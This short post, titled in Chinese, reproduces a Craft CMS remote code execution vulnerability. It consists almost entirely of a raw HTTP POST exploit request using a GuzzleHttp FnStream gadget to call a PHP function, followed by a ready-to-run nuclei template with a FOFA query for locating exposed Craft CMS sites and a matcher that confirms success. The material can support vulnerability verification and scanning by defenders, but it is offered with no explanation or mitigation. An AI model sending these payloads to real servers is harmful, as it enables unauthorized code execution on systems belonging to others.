Craft CMS 远程代码执行漏洞复现（附nuclei POC）

POST /index.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36Content-Length: 242Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateaction=conditions/render&test[userCondition]=craftelementsconditionsusersUserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\GuzzleHttp\Psr7\FnStream",    "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}

id: CraftCMS_rceinfo:  name: CraftCMS_rce  author: joyboy  severity: critical  description: http://xxx.xxx.xxx/index.php  metadata:    max-request: 1    fofa-query: app="Craft CMS"    verified: true  tags: cve2023,rcerequests:  - raw:      - |-        POST /index.php HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36        Connection: close        Content-Length: 238        Content-Type: application/x-www-form-urlencoded        Accept-Encoding: gzip, deflate        action=conditions/render&test[userCondition]=craftelementsconditionsusersUserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\GuzzleHttp\Psr7\FnStream",    "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}    req-condition: true    matchers:      - type: dsl        condition: and        dsl:          - 'contains((body), "Version") && status_code == 200'